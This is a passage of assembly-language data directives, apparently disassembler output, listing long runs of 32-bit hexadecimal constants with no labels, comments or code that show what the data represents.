		dd 2A5F4C17h, 75AA5868h, 69A45A49h, 0D0ACBBA6h,	0AA71A98Ch
		dd 7CDC97D8h, 241FB777h, 0FBA1B45Eh, 3FC2B9FBh,	0FF241164h
		dd 7CFFAD6h, 24CB6022h,	0BBE7D88Fh, 46863B4Ch, 67251541h
		dd 0BCADEC42h, 0F579DD56h, 3E13167Dh, 1F4AF494h, 53AB4BB7h
		dd 0D43F0ABDh, 30B2F563h, 3C32D6DBh, 0A273F367h, 0D7F03E5Dh
		dd 7C32C3C6h, 0A5D3CADh, 49176F07h, 0BB2BC2AFh,	4BA35950h
		dd 9F6F9CA8h, 0E3848D02h, 0DC7FCB83h, 12076078h, 0EA8B35DAh
		dd 24D435C8h, 0B6F4E8FDh, 0D6F0C30Bh, 385ED739h, 2022943h
		dd 74F8CAB4h, 5B066F09h, 22D328B7h, 0C6E19CBFh,	0B67DF7F8h
		dd 0FFE8F89Ch, 6432E563h, 0DD5CF4C5h, 743E6C54h, 477F18A2h
		dd 2CA73FD0h, 0D9C5B720h, 926AF2h, 0C8677C04h, 86F997F1h
		dd 0C59CB9Ah, 116CE914h, 0C5DB177Eh, 583CDCA9h,	53896B6Ah
		dd 6954EE4Dh, 0D4DF63E0h, 303C5295h, 0D6C7FB75h, 0C9B918AFh
		dd 9481B52Fh, 51DBC9A3h, 6E27A8B3h, 91961196h, 3EBC7F10h
		dd 1539F830h, 0FC3ECEA3h, 0D36B87E3h, 84A765DCh, 0C4AAE2C8h
		dd 0CA79CA05h, 9AD1F127h, 0D101DD3Ch, 2CAB94AFh, 8EF44B3Dh
		dd 6B98242h, 0AA71E9Ah,	0F88E75DBh, 0AFAF6761h,	6FC934C9h
		dd 29CD842Fh, 0AAE8CD35h, 0D148AEFEh, 0AB1E11B1h, 84BDAAF2h
		dd 0F60AF102h, 0CD4A6243h, 0C64D1619h, 0C3E08EBh, 0F5D5ECEFh
		dd 0D72126AEh, 0EA8681E3h, 5E54D94Ah, 0DFADD989h, 1CC3284Bh
		dd 805C4ECCh, 0CFDD407Ch, 0C6BC4B2Bh, 541FDECFh, 0C8AA5C1Eh
		dd 0B48E1B85h, 6369ED18h, 6C348CA5h, 4399E56Ah,	1ADB362Dh
		dd 56B157C7h, 23FB33E1h, 0B9E67149h, 1B8F11CFh,	416ED2A5h
		dd 0A43085B6h, 0E89AB3BBh, 0D19C0732h, 0E4A9FC1Eh, 3B46D6E3h
		dd 7CB97C95h, 0C65BDA49h, 0BE9956C3h, 6666FA39h, 5025374Bh
		dd 85DA9C12h, 792D0E8Fh, 0A55B1932h, 0D394BFD5h, 0A7E87497h
		dd 11AE3D68h, 0EFDBE636h, 193902EFh, 42F1673h, 0F0D2F686h
		dd 4606FD81h, 2925E42Dh, 85DF649Eh, 0FFD6C901h,	6F53D26Ah
		dd 0B644FA55h, 9B86D136h, 1D3FED11h, 368B73C4h,	2D2A2E56h
		dd 0C01ECCA8h, 0DC1F2A8Eh, 0AA57E464h, 0E5F8045Eh, 9209CAF6h
		dd 5A25F7ABh, 6CF4C09Eh, 9543FAF7h, 0F8A4CD6Ch,	0B7F036C0h
		dd 3DA3D869h, 0B825BF0Bh, 0D34BD4CFh, 0F8EFE220h, 22CB8EE2h
		dd 0CAECF325h, 0DCD2DBA7h, 8C0F9F12h, 80CF30F1h, 0FA22CA83h
		dd 86E1634Bh, 6D6ADA89h, 5F80BBC9h, 0CF8EDDBEh,	69E62CC9h
		dd 1F464EE1h, 1355A3Eh,	356DD76Fh, 7BAFA46Fh, 4BBD5FC4h
		dd 0B19A927Ah, 0C97A7FE0h, 6E96628Ah, 1DE00ABAh, 1A558E1Dh
		dd 0CB9574F1h, 0FA3C6972h, 7B17A5C8h, 8AA31F1Ch, 3F7EDF5Bh
		dd 5F2240FEh, 6A742C0Bh, 6D615F93h, 0F7A19AD4h,	6C23AAA1h
		dd 985EA241h, 0FDBF513Ch, 0DB566E02h, 202D5954h, 89E73FD3h
		dd 2F3CB459h, 2C54BD14h, 0A46ED647h, 273B641Fh,	250C0560h
		dd 0BCCD489h, 5559BF26h, 0E1E2D195h, 0E3E712F4h, 0F47B5859h
		dd 0B3A51269h, 0DDA5AAE7h, 8F273B09h, 0F9A6221Fh, 0D2FDC753h
		dd 0EE2D945Ah, 0E19FBC9Fh, 9152A170h, 7FF8EC5h,	4812D5C6h
		dd 2B27C4F9h, 6F01E0BBh, 2502FB07h, 6FDF5E36h, 0FCE8524Fh
		dd 5BAA83D8h, 395AFF00h, 0F6B2CEDAh, 9CCE08BCh,	5FD33410h
		dd 0F43D2240h, 47234E89h, 0C06A4D06h, 87E25487h, 70F77565h
		dd 0B03D2BF5h, 0EF7D9EF1h, 0E3C0EBECh, 9D33855Dh, 4F460E6Fh
		dd 0DC5DFC78h, 0DEA39A45h, 48796FE4h, 14F068D7h, 5CE81AB1h
		dd 11E4D9EFh, 7C7D735Bh, 65A3EFCh, 3FC6F5F7h, 0A6E57D4Ch
		dd 3FBF3848h, 5ACF508Dh, 0FFA48514h, 14F994C0h,	0AEA610D8h
		dd 68E3E9DBh, 6303C22Ah, 0C0A55B92h, 0B6EB7CB1h, 6E9E81E3h
		dd 2A9DBBAAh, 0F7835837h, 0EEA8AD85h, 0C1A94659h, 0BFE8D415h
		dd 0C65B5282h, 4AC984B9h, 6BE32706h, 0AD5DD477h, 0E17E1BF9h
		dd 0CC3B8BF2h, 389E3C65h, 2EFE35F2h, 7206A012h,	9FDF7E5Eh
		dd 6342BB7Ch, 0AA555BE9h, 0A2095E31h, 71EBCAEDh, 2AAC2C90h
		dd 8C5D1238h, 0FB87C73Eh, 0AEB6FD35h, 6BEAE123h, 947B3356h
		dd 9E07BC68h, 0F1FEC61Fh, 0AD9E35EDh, 6C8E1DCFh, 770DBE01h
		dd 4A04F589h, 0D36891E5h, 0DC4DFF62h, 0A51EFD55h, 0CE5A82D6h
		dd 0BD5772AEh, 89DE0AD0h, 0F3BC503Dh, 5F0D0DE6h, 6515A83Bh
		dd 293DEC77h, 0B8B556EBh, 6E63786Bh, 168623Dh, 0E99FB6CFh
		dd 0CD32AADDh, 7471777Ah, 469498DEh, 0EE72C75Bh, 77B7E3BEh
		dd 4BFBB5A2h, 526B5EFCh, 0A51BBC1Eh, 3FAE8E62h,	83E00410h
		dd 0CE2A7D67h, 0E7328181h, 7014A8AFh, 0A1E851AAh, 0A73F4BF1h
		dd 3B43BFE1h, 0BAC06C0Fh, 0D30F75C3h, 0B6CBD65Ah, 6D71C1C4h
		dd 0BE6F0034h, 0D43FD288h, 9786559Dh, 0B13B0FD0h, 0AB9D262Fh
		dd 55CC7CB3h, 81F2B75Bh, 0CED177E3h, 0FC3A4A23h, 2CC9F74Bh
		dd 0F413DFh, 0E776419Bh, 9B152A53h, 4F068ACDh, 1DD40607h
		dd 584ED221h, 0AFDC3EB1h, 0D38635C4h, 0B0C5AA40h, 0F94691BFh
		dd 527F4A6Bh, 127313BFh
		dd 0D20C0DF0h, 95723B47h, 44157911h, 0B253A99Eh, 0A0E5E724h
		dd 5B5C7910h, 85ECB5F6h, 3EF9944h, 0F471A46Bh, 0D966DC56h
		dd 8BFE8546h, 6FBB3223h, 0E0CC8DCh, 7D439577h, 23232742h
		dd 9569742Ah, 2C6189BAh, 0A84F718Dh, 129A3BA4h,	3C88BD6Eh
		dd 0D16EEF38h, 0AE8E755Eh, 8794338Eh, 0AE9E52AAh, 5330F67Eh
		dd 0C6448560h, 9F033C3Bh, 267A9E01h, 0ECD5B9DCh, 53D5A368h
		dd 6CEE5712h, 0D37C5A58h, 56A171AEh, 3C6D5CAAh,	4CAD0A75h
		dd 370D7693h, 0F0615557h, 31FB22F1h, 5D8CFF87h,	8992D006h
		dd 872ECEC9h, 0A8DFA838h, 54F7BFC1h, 85FA58B6h,	12FB91E2h
		dd 67984A87h, 96380223h, 72B99915h, 0D975A885h,	0A4ADCB45h
		dd 0C9D4170Dh, 2D9B48D6h, 38255A14h, 4944CCF4h,	374EE1E0h
		dd 4FACBFC5h, 0DF98D50Dh, 4E346E30h, 0CDB6D614h, 0BABBFA9Ah
		dd 6EBFBE08h, 0BCDC262Eh, 0B82F5144h, 0FACC1AF1h, 0ACE0923Ch
		dd 73922D0Ch, 7F757EDBh, 367CBB91h, 5D3ADE61h, 1735232Fh
		dd 243B9D8Ah, 7A755DE5h, 143C36DCh, 0DAA453B9h,	40626615h
		dd 0AD796FA9h, 0C8E726BDh, 0C1D6AC27h, 0E46F6A02h, 687A8FBh
		dd 8421C145h, 5CFFD43Eh, 0C8A2E6Ch, 6D410B4Fh, 0EC195217h
		dd 0AFD1B948h, 83B6ECCEh, 21F303Ch, 7AC04CEEh, 0EE0288BEh
		dd 0F678E257h, 63CA09D3h, 0A45AB180h, 0AC8A89FEh, 0C1E6CE63h
		dd 0D693A601h, 8FBCC142h, 9ED3F13Fh, 0D8D57681h, 0B9544352h
		dd 991FF7D1h, 0AFC7398h, 2A33700Bh, 0F4A99D4Eh,	449234C0h
		dd 0F8B49A8Fh, 0AC5605C4h, 0E8AECE05h, 18C0D0Bh, 0E0E4AC1Fh
		dd 50497EE4h, 53A8BF14h, 568CDA35h, 49A6AA14h, 0A1F84EF1h
		dd 7019ABD0h, 0C236A8ACh, 0F0C52A0Bh, 0AAD5268Bh, 9C78060h
		dd 9ABC6C98h, 7D74ADE6h, 0C808FE32h, 49628EBEh,	68BE0E3Eh
		dd 90D1BF84h, 9E552859h, 0F7E1FDBBh, 0BAC8332Dh, 0D98CD2FFh
		dd 1271C816h, 0BFAA3EB6h, 28322933h, 0B7D9C934h, 23526734h
		dd 3751D0D8h, 0F43D38EFh, 297EB7C4h, 8884B396h,	0CC6E77B0h
		dd 0B88AAD59h, 46B11670h, 87D28A5h, 19C3F533h, 0EFACE791h
		dd 77DD73A6h, 3ACA941h,	69409EEBh, 0CE2AA75Ch, 580D7B61h
		dd 0BA88C3E7h, 0E1C230FFh, 67F630D0h, 6B8B645Dh, 0DD46A7EEh
		dd 558D87ECh, 1CB23B05h, 0A97FBA41h, 207AB708h,	0BA7A167Fh
		dd 786E4213h, 0FF9080FCh, 35E188DEh, 0E5481656h, 85D2A981h
		dd 40896F38h, 0B9F0E526h, 181EE6A5h, 5D5CA67h, 8B47053Fh
		dd 0FF2DFC3Fh, 50F7A4D5h, 0FCBE11AEh, 687ED637h, 0CE0DAA94h
		dd 94C4025Fh, 4DE79F3Dh, 909EFFD3h, 0D9CAC0B4h,	4CAAFBFDh
		dd 0CC2A6A15h, 0A2FC0BBDh, 4E6B81D0h, 8FC2E78Dh, 8F4AA822h
		dd 41569487h, 47071AA2h, 4A2CC304h, 0FA268AB1h,	9C0F107Dh
		dd 85F8FCB1h, 0F1FB3F87h, 9D01E3CBh, 1EB4745Ah,	0B610924Ch
		dd 1968273Dh, 0FEC2DFDCh, 0F3581355h, 2B41D99Dh, 0C5BF6903h
		dd 68D52B0Eh, 8AB3A231h, 0DFAED136h, 0ABB4AD31h, 0F4A4DDC8h
		dd 772285F0h, 0CD4EA768h, 0F6D0BE9Fh, 8CF2A02Ah, 538BA81h
		dd 0A3C9A104h, 10E14C15h, 7DDE639h, 0CBEE3B7Eh,	5AE530C1h
		dd 776DB9C9h, 0AF0245CAh, 5EB592C8h, 3F4EA74Eh,	0DFEE8762h
		dd 7BFB888h, 0C8563ACDh, 4E2D6BA2h, 51A154EBh, 65A24ED1h
		dd 0B1C7D11Ah, 0EDDFC524h, 83366F16h, 0DCC1D5F0h, 81A79057h
		dd 44DA6556h, 0C63D5E7Bh, 763131Eh, 44252F5Eh, 0E07CF979h
		dd 0B51B73DCh, 876F3DDAh, 791FAED9h, 0F9256AAAh, 0C6C5B31Dh
		dd 6DA8DFC5h, 4F73BD3Bh, 74ADCB44h, 0B773130Eh,	26D1F461h
		dd 0AA488B14h, 4BC3F4EFh, 3B75251Fh, 0D2948DB5h, 82C89DE6h
		dd 18BFB469h, 26BB3A41h, 0C566F291h, 0F54266E9h, 0FBDA743Eh
		dd 5368822Bh, 69369FB4h, 0D7B28BC4h, 0D7038D40h, 0FE6C28AEh
		dd 0FC3BCB84h, 0A90476B2h, 0A3143C17h, 0E0457845h, 0E96AF0B0h
		dd 19B87978h, 2BA7A2A5h, 23AB4949h, 0C77B9DF0h,	8F45FDDDh
		dd 217C3BA6h, 8C55C397h, 9160568Ch, 0F2B5E400h,	0A2F9DE4Bh
		dd 0C0040A8Dh, 0A1F8A75Fh, 0C875D56Eh, 6BD4696Dh, 481C312Bh
		dd 8B6DA823h, 165BC0Ah,	1442AB0h, 0C795C63Bh, 0BB9A83BAh
		dd 0ACAEAA20h, 1B0023DBh, 0A93F65CBh, 0A5CBA35Ah, 4143928Dh
		dd 0A1916AF9h, 0B9C82734h, 3FC373FDh, 0AC6B9B55h, 0BFD85D1Ah
		dd 93081C05h, 2D1AFF07h, 0B8E5B29h, 90D5393Eh, 0E25BEB20h
		dd 0B9F67EEFh, 7C8DC8ABh, 59AA603h, 1449B924h, 0B38B08F1h
		dd 3E09C546h, 38FA97A9h, 9C6484FAh, 84A3041Dh, 5ACEC3A8h
		dd 37F7C794h, 0E752D3DEh, 0BD527FB5h, 0B83FE4B4h, 94B92BACh
		dd 7B4BE6DDh, 9B87607Ah, 0EA85FD86h, 4D8C778Dh,	47E201B6h
		dd 0B182B10Bh, 0ED8119F4h, 3DF30DBEh, 8024F467h, 9EAEBA92h
		dd 0D290C3B9h, 7C155597h, 6B3C8D18h, 29BD3CD4h,	0C6458F12h
		dd 88F77C9Ah, 0E967C3A0h, 68F7129Fh, 1D938EB5h,	0CEE2FA9Dh
		dd 9B5611E6h, 1906660h,	652F8AB5h, 0AC6757DAh, 1BA0FBD5h
		dd 986E30ACh, 6CB705A1h, 0D58963BBh, 6F382BEFh,	0A854FEA7h
		dd 28D2D40Dh, 71277D73h, 8DF4D8BBh, 78D022A8h, 6527BBF0h
		dd 38C557B2h, 0D46790DEh, 0A72BFF16h, 8EA6669Eh, 26D655A9h
		dd 0E7939B6Ah, 56B8887Fh, 0BED507Eh, 40ACE872h,	6FB9A4F1h
		dd 0A3CAF26Ch, 27958091h, 9AE9162Dh, 0ED2950Fh,	0B987CC7Dh
		dd 0B5D2D1B8h, 0F8FCD12Bh, 49D9B381h, 0CDCF3C5Dh, 16277FC9h
		dd 2D8AD24Ah, 8A4C762Eh, 0D0FBBE1Dh, 581F1B0Ch,	6382C16Ch
		dd 0D5DEC4F3h, 0ED5B7B56h, 0DF3B0E7Dh, 0DA27A94Dh, 0D333E3h
		dd 6A843287h, 88A299C3h, 0A093FC58h, 3EDC4675h,	0BC00B9BDh
		dd 98D36D67h, 3F81AC8Ah, 0F754953Ah, 7A42F955h,	0B625AB60h
		dd 0FD858E46h, 68C5F9FDh, 0F4BAF41h, 4AAEC444h,	0B932EC1Ah
		dd 8BCFE578h, 1A67D2B5h, 0A72D4752h, 2AFBE1A8h,	0A9763A4Bh
		dd 0F97C1C58h, 5124F782h, 983ACFC0h, 0B14FDA3h,	5EAD26F4h
		dd 328A3015h, 4BE83FD9h, 68A6EB70h, 2EA58E65h, 35D054F5h
		dd 29E426F9h, 56FF048Ch, 68497033h, 8A91C258h, 872ECF6Fh
		dd 0A660E777h, 3C8822B8h, 22BAFB94h, 0ED82169Ah, 0AAAE7855h
		dd 707C81EDh, 502B8E3h,	0B2E81085h, 0FB55B0FDh,	0C33B7966h
		dd 2FCE0B46h, 0C5E5DDE4h, 0E9D16466h, 7367BC34h, 21F2ECA3h
		dd 7659E02Bh, 0F47A43F1h, 0F82FB075h, 446C8BECh, 0D5899F8Ah
		dd 46B48299h, 0A984352Bh, 43BB8A20h, 78D3F3F4h,	0AD5BFC76h
		dd 8625A6CFh, 0E79B84AEh, 5F82DE61h, 4457824Fh,	4A0AFBC8h
		dd 0A4A70253h, 2FC31F39h, 0B8F27193h, 0BD908797h, 0D7F5542Bh
		dd 0CBA4307Dh, 52E70536h, 0BD137F23h, 45FADBE1h, 0AEE06E1Dh
		dd 0B29E49FEh, 4BC78FCh, 3F32696Fh, 31D30C09h, 0BA134A6Eh
		dd 2EB4DB3h, 87523335h,	0B11637B3h, 6814B448h, 753DAE2Dh
		dd 45757A1Ah, 3BD60D46h, 0AB5F3F33h, 0E1ABC0F1h, 0AA555F57h
		dd 0BE527241h, 0AED4C3E4h, 0EC3C1B25h, 37DC0398h, 0CE461C0Bh
		dd 9BC86BC7h, 0A3EF083Ch, 0FBE73670h, 6B348109h, 0D8A20F74h
		dd 0C0FA94E7h, 0F9DCD11Eh, 754BCA68h, 7EC1F024h, 7DD6721Bh
		dd 5088FE20h, 7B70B726h, 0A57E542Ch, 0F130EAB6h, 0A2128E70h
		dd 0EBEB59E2h, 0AF604438h, 12D24964h, 587EDAD4h, 0AC163BDAh
		dd 96C26F5h, 267D4C5Ch,	69BDA9CCh, 8425C050h, 2E527EF6h
		dd 3A50DAD0h, 0F7560034h, 0D088FE42h, 9F93A08h,	0B1556063h
		dd 7B1D2856h, 0A95A41C4h, 445CB37Eh, 6680F9C9h,	0B25066AAh
		dd 646956FBh, 7E3D60A4h
		dd 0B79B3F78h, 58104491h, 0A87FB7AAh, 4EFBEFE4h, 3E181778h
		dd 2558DD78h, 45495285h, 84B48EAAh, 0E129FB3Ah,	5A2EA09Bh
		dd 0D9C896BFh, 7703E5FEh, 8E6AE60Fh, 2B24EB57h,	5F12A18Eh
		dd 6F43AB3Bh, 0E7BE4CCDh, 0DC82412Fh, 0F7BBCFA6h, 99F1FF7Dh
		dd 6B0A2753h, 0FD27EBE3h, 19C7C7A1h, 0F0E8084Ah, 0ABF15894h
		dd 0CF04A716h, 61973D1h, 9841932Ah, 0F7552372h,	11DB7F8Eh
		dd 0C4557FF4h, 63D5FEE3h, 1BC57456h, 441DEFBFh,	6ABE3AA0h
		dd 37CEADABh, 0B4BDC847h, 0DD94BB5Ah, 0E3EA4282h, 20B8566Ah
		dd 4AEEAF27h, 0E48BFF27h, 0DB070163h, 0A3B33BB0h, 0AD76EFFBh
		dd 46B5526Ch, 0E28A1748h, 0F297DD7h, 1D6A8FA8h,	70E05C70h
		dd 0E8D69577h, 933AC0F3h, 0AF93CF5Eh, 5D60A495h, 4ACEADCFh
		dd 25D1D014h, 2FB1A177h, 0F034A78h, 0C7C118BCh,	88454B35h
		dd 0B15B04D3h, 3C551B03h, 0F4290E95h, 0DEB4634Eh, 794A9B9Ah
		dd 9D8B0B68h, 4EC3AE1Fh, 8B5C9883h, 79EE6CEFh, 0D68CB815h
		dd 0A12FAE19h, 6D6DF6E7h, 8C925518h, 7383FE1Fh,	0EAF9EBC4h
		dd 3FB9CD5Ah, 0E31EEE30h, 83E325D3h, 0D323065Ah, 0F81F4963h
		dd 91AD5DE7h, 0E51647FBh, 0DE2FC20Eh, 5A32FDEDh, 0B3BDE1EBh
		dd 0F58B771Ch, 13ECF165h, 0C78DA4C5h, 94015600h, 595F019Dh
		dd 925DEBFh, 5FEE9E53h,	3AEA301Fh, 6C3BD48Bh, 0C0300B0h
		dd 0B892C689h, 0E1002DA3h, 0A286473Ah, 779E5F03h, 9D0BAE92h
		dd 0B0AF3BDh, 7427E488h, 1C59AD15h, 529BDC1Eh, 74B5F714h
		dd 0FF72BB52h, 36F6E8BCh, 5585FC1Ch, 334281CAh,	40EF0B45h
		dd 9C8DF3C2h, 0D5886A7Dh, 4B15A421h, 0CFCE9BFCh, 91660FC4h
		dd 19ADA8B5h, 167DAD3Bh, 9799580h, 9715DA3Eh, 0E277240Bh
		dd 72B2AC2Ch, 3044D2B4h, 0CE917908h, 74B9E3A9h,	0E3C5B7E6h
		dd 7555CAA6h, 0CB6F35CAh, 0AAA1F44Fh, 0BD97BD74h, 0A98BE113h
		dd 7B8B2A8Ch, 0C6608C49h, 0EAD65CDh, 0F72E7873h, 2080B95h
		dd 166A3B5h, 10941B55h,	296C53DFh, 0B60B11B8h, 616A52E3h
		dd 0EB3B0818h, 5FD1FA13h, 0CD649168h, 2EDF5A66h, 753E961Fh
		dd 0B44C5A1Ah, 2EF3962Dh, 0DE95A159h, 0ABFDA0BCh, 0B7A117E7h
		dd 0CB3111B1h, 28773EF6h, 9787C3E3h, 91199B28h,	0B62403F0h
		dd 10E7A2F9h, 0B5D15F4Fh, 98D1BA8Dh, 7A50F4DBh,	7EEC712Dh
		dd 211E30CEh, 51E07E64h, 51E1BB84h, 550556F4h, 938EF832h
		dd 98088798h, 0E8E769D6h, 4282E42h, 315F8DC2h, 21C933DEh
		dd 0A405D3B4h, 3A3EE7E4h, 0FFC3FCF0h, 33AA86D6h, 1FC8A600h
		dd 0F7167A25h, 33F78EADh, 8AADA9Dh, 8A88824Fh, 0DCCC1EADh
		dd 12FC4DC3h, 0CC47F9B8h, 587EACD5h, 0F606AED8h, 0A0F73FFBh
		dd 9C83095Fh, 4386962Dh, 0CA9BC203h, 0E55D4B03h, 7F24432Fh
		dd 0C21653E8h, 4A207C1h, 1B6FB817h, 0D8E98A4h, 18034037h
		dd 40F6497Eh, 5B6E6D8Eh, 19C9DE2Dh, 2DA386FBh, 56AED9BEh
		dd 0F663B5A2h, 8E324EF4h, 0ADBFC055h, 0DCA8B559h, 0F0229271h
		dd 0C3842ED2h, 1BBD2902h, 8DFE443Fh, 0D5C57074h, 0B1ECE45h
		dd 83CC4B88h, 0EBA83AA7h, 0EB4CA6C1h, 0E100A077h, 2E399D52h
		dd 0DB16610Bh, 539812B7h, 0AEFC59DCh, 0D140EE79h, 5C511A4h
		dd 4CB2A757h, 525D7A5Dh, 8723DD97h, 0BADE3252h,	3EABE5DAh
		dd 39B6E330h, 0A95A6712h, 0BE9D79FEh, 24D52474h, 1D0061F1h
		dd 17B768A7h, 760F5C8Ah, 1AFDDA82h, 0F9B1367Bh,	59E84DDDh
		dd 0A341BA00h, 25F9CE18h, 0C455F83Eh, 58BFCA8Fh, 633219D3h
		dd 0DE49F72Ah, 0C20E0E3Dh, 0A40FD707h, 0B78A54FFh, 52F0B207h
		dd 0A6BA2AC4h, 8DD675FAh, 96459784h, 0FBC4496Bh, 124C1AABh
		dd 0A905C1ADh, 9E0D22D5h, 805836EEh, 0D46ECC57h, 3125945Dh
		dd 61F8B09Dh, 35B8C5ECh, 6247AABEh, 97F16E57h, 7D0E5A80h
		dd 850366B1h, 0C5CC3707h, 3ADE3452h, 3479E72Ah,	79A0FA90h
		dd 6B5223E7h, 0A649A11Bh, 84CE4917h, 0B080DB04h, 635D7352h
		dd 0A7F0C171h, 0D5965557h, 5DB8742Fh, 8111A568h, 0C7FF2823h
		dd 64B37BBEh, 0EB636851h, 77D36DF3h, 0EB0440C3h, 4776F478h
		dd 698D164Ch, 0D035A2E5h, 0D854C2BFh, 6E9F4F17h, 0A7C3846Ch
		dd 0E02BCCBBh, 0EBE86479h, 7FAC75CAh, 250E4C20h, 941FB36Ah
		dd 817F74C1h, 0DA70517Ch, 4B2613A0h, 2C03A1D5h,	0B295492h
		dd 5398028Dh, 6CC05DDDh, 0A94A328Fh, 7F8957C7h,	68CFBB26h
		dd 3207B2A3h, 72FE45B7h, 17419C2Ch, 0BE6B4B93h,	74D96425h
		dd 2E2C9301h, 0D7738666h, 7E80E685h, 6D4EBEA8h,	5DF7B696h
		dd 0C5379322h, 1DFB3318h, 0FA23A818h, 8EE90A27h, 0B44C5E39h
		dd 7DDDE490h, 0E9236E19h, 70C35717h, 0AD8186AEh, 6103D228h
		dd 37A957BBh, 0EE6B8A96h, 0B43D3193h, 0A28A968Bh, 4CB7476Ch
		dd 8A64760Fh, 884FB4E5h, 0BF9626A3h, 1C2628F9h,	0C3B8D0Fh
		dd 5DACEA13h, 0A56DE8FFh, 76BF32BBh, 0AAE06F0Ah, 0EA434937h
		dd 0D3FDABE7h, 0F4C15D09h, 2AFCE259h, 89AD6EB1h, 0BFBF9A96h
		dd 0E2031C13h, 0CB5E9F46h, 2AF320C8h, 0E27038EAh, 0D0BD3575h
		dd 78787CF1h, 3E1E9274h, 73C61F8Eh, 0BEA14CF9h,	0A345E955h
		dd 0AB68250h, 0C91C251Ah, 7740105Ch, 62B935B8h,	568780Ah
		dd 0CBC5A3BCh, 10D5BBB7h, 6F8CC171h, 66D0F454h,	3C9EED44h
		dd 2B8475B0h, 0AE4A13Dh, 0F69C3723h, 56B454ABh,	0F90F5BF5h
		dd 7B5843FCh, 0BD993BEh, 138F1F37h, 49FD1B57h, 2540AD4h
		dd 3C5F86Ch, 2416F58Bh,	0BDC5A273h, 3ED0F02Dh, 0F2687872h
		dd 13853C55h, 8AE93401h, 0EABDC37Eh, 0AA58829Fh, 3F18C957h
		dd 473006A7h, 0EEF27E0Fh, 9C5D1BC5h, 4F1B0C3Ch,	0EAC57A23h
		dd 0AE8A2C0Fh, 0EABFE6E9h, 46F7B69Fh, 9FAAE163h, 37667B8Bh
		dd 895514A9h, 0E5FEA0CDh, 3571551Dh, 0ADE2E66Ah, 34634193h
		dd 0B3F80D9Eh, 181F03F6h, 7259E7BFh, 0C9B4D416h, 716AE522h
		dd 5E822608h, 5B192530h, 0AE674629h, 0C58E92FCh, 0E136F27Fh
		dd 0F2611EFBh, 2C05F058h, 0B0E2886h, 2BE165DDh,	26209D87h
		dd 0D3B5D855h, 9A029D7Dh, 0E4B00198h, 0F111FFB6h, 2DF209B8h
		dd 4D5674E1h, 1262CA0Dh, 9FB35AAAh, 2FF8FE0Bh, 0A23B7F7Dh
		dd 0E1E3CA4Eh, 83D9C08Dh, 42B917CBh, 6BEFB25Ch,	0BC1617E4h
		dd 0C4538EBCh, 0C1616F1Dh, 9B4DFC8h, 0EF75ACABh, 0ABDC052Ch
		dd 3F315C9Fh, 0CA0B4C0Fh, 19B51CACh, 771F9B92h,	3D485941h
		dd 5B3B5B57h, 0F040F8A0h, 30FC9C7Dh, 0C2F4EBBAh, 0C0F05D66h
		dd 0CFA5E1F3h, 0D9CCEE10h, 0A94A2D68h, 15D3B7Fh, 0E7C84538h
		dd 24635CD9h, 0DF9C9653h, 7DD3CAAFh, 0C53E74BDh, 0E0E0A2E7h
		dd 0F5B334CBh, 0DBF9D01Ah, 6D389058h, 46E39B7Dh, 31B85E88h
		dd 1879D4BEh, 559E096Ah, 1237499Ch, 3775D204h, 98BA6ECAh
		dd 0FA857A52h, 8C5661A7h, 4C42E61Eh, 83F4DD0Ch,	0A2E1D1CAh
		dd 7EA1FE6Fh, 116C3DB0h, 0BB7AE5F9h, 0D68349EEh, 8708931Dh
		dd 7729D247h, 383DE491h, 4C285003h, 3C959754h, 6B0A3799h
		dd 0BDED2DD7h, 0EA2EE685h, 6B73AFA4h, 2E8407DBh, 70A4F8B3h
		dd 840A35FFh, 0CB1F89C6h, 94CFC707h, 2E4F0399h,	15F970AEh
		dd 60D449DEh, 2BF50603h, 6F6D3356h, 0EA91566Bh,	0DF48C703h
		dd 552043E1h, 0DBF91C55h, 2C46D0EDh, 66632DA9h,	0CCAA6E3Bh
		dd 7064A91Bh, 174DB9D5h, 43537C6Fh, 0BC7E5FABh,	6A358AA3h
		dd 73019E49h, 82366F8Eh, 2F170E0Dh, 8E47882Ch, 7795D609h
		dd 58529F35h, 0A23FBFE2h, 82A28F92h, 30E1D3D4h,	15B73FBh
		dd 1CEF5627h, 1849C5F0h
		dd 48EB5ABBh, 0FDFAE3C6h, 3A038899h, 43960DE7h,	45B4A9D1h
		dd 4F4FEE8Dh, 0A7F2952Fh, 0D6AC0512h, 0F3ED6299h, 0DF48A2AEh
		dd 0E6C273Ch, 0B02D279Dh, 4DEE18D2h, 0DCF2BE9h,	8351C2BBh
		dd 94A7B92Ch, 452A0558h, 8DBA48B5h, 5C0BF68Ah, 5AF43194h
		dd 0F38B2699h, 0F5D11902h, 540B3150h, 0F84AC696h, 649F5D17h
		dd 0DF74C565h, 66B00CCAh, 0E9156F16h, 0E3373496h, 0E38059F6h
		dd 0F0BE7FBFh, 0A4A69483h, 0D68EF6BDh, 2ABB542Ah, 0F7F3BF8Fh
		dd 428CCF77h, 7C7EA357h, 0C88A9677h, 1A47A722h,	0DB641FC3h
		dd 0E3397076h, 0C2E11DCFh, 24E068C2h, 0D10EDC51h, 44AF5CE8h
		dd 5D626A96h, 5C1D3FA5h, 0D25F7B71h, 8CA9253Dh,	8B2A3543h
		dd 1E36484h, 0B8E0DB77h, 992E3BF1h, 3824F09Dh, 18B58CE4h
		dd 54093DF3h, 0FE2015EBh, 497952B0h, 0B421ABC7h, 0C4E1A6E8h
		dd 21F99DFEh, 0C6053325h, 0C5F8DC0Fh, 9661A6AEh, 14BC3E9Eh
		dd 0FEFF7CE1h, 7E5548D0h, 91E54E2Bh, 0F7B6696Ah, 0D25C53BFh
		dd 0E8232AA0h, 0C54664CAh, 8DD2D7FCh, 59D3D166h, 326BEFCBh
		dd 65D4987Eh, 3D714C7Fh, 0EB0A85Ah, 4F6CBA26h, 5B8E0B39h
		dd 525A3F0Dh, 0C8ED3EF5h, 92CF2C7Dh, 1ECCA9F1h,	4F2345B7h
		dd 0EDEEDCBAh, 0D5AA75ACh, 361C97EFh, 94BD8C2Eh, 0D5E5DFFDh
		dd 2CDAF137h, 41E60A88h, 333E26A6h, 0A882C3E0h,	0CFEC05B8h
		dd 0CAE2EC93h, 172B713Bh, 0D3D78FC5h, 0B0C8403Eh, 0E682D75Ch
		dd 9839B240h, 570E5B27h, 9A34E9D7h, 4A276C2Fh, 2FF0D808h
		dd 0B53CB3DDh, 49E834F3h, 0F9F674FAh, 5A454EF1h, 0DCCA8B8Dh
		dd 0D214C95Bh, 5A6F17A7h, 3A121909h, 8B779A25h,	95E7A720h
		dd 0CF9501F6h, 27E7144Ah, 0D8913FDh, 0F7422BCEh, 0EBBE992Ah
